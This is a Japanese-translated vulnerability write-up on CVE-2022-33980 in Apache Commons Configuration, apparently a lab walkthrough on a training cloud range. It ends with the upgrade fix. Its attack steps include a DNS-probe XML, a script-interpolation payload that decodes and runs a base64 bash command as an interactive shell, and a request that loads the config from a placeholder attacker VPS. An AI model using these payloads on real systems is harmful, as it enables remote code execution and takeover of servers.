以下是文本的日语翻译：
製品概要#
Apache Commons Configuration は、Apache Foundation のオープンソースプロジェクトコンポーネントです。これにより、Java 開発者は統一されたインターフェースを使用してさまざまなタイプの設定ファイルを読み取ることができます。
脆弱性の概要#
この脆弱性は、Apache Commons Configuration が提供する Configuration 変数の解釈機能に欠陥があるため、攻撃者は特定の状況で悪意のあるデータを構築してリモートコードを実行することができます。
CVE 番号：CVE-2022-33980
ターゲット：春秋クラウドミラー
影響範囲#
2.4 <= Apache Commons Configuration <=2.7
攻撃手順#
- XML ファイル
<?xml version="1.0" encoding="ISO-8859-1" ?>
<configuration>
<path>${dns:lll.f8bd5ff2.dns.1433.eu.org.}</path>
</configuration>
ペイロード：java 命令执行 payloads - 小草窝博客
<?xml version="1.0" encoding="ISO-8859-1" ?>
<configuration>
<path>${script:js:java.lang.Runtime.getRuntime().exec("bash -c {echo,Ym........zNCA8JjE=}|{base64,-d}|{bash,-i}")}</path>
</configuration>
- 具体的なリクエスト
http://eci-2ze0j2j6z0mbs5fzqkue.cloudeci1.ichunqiu.com/Url?url=http://vps_ip:8000/config.xml&data=path
修正案#
現在、公式にはこの脆弱性を修正するバージョンがリリースされています。影響を受けるユーザーは、Apache Commons Configuration 2.8.0 にアップグレードすることをお勧めします。
https://commons.apache.org/proper/commons-configuration/download_configuration.cgi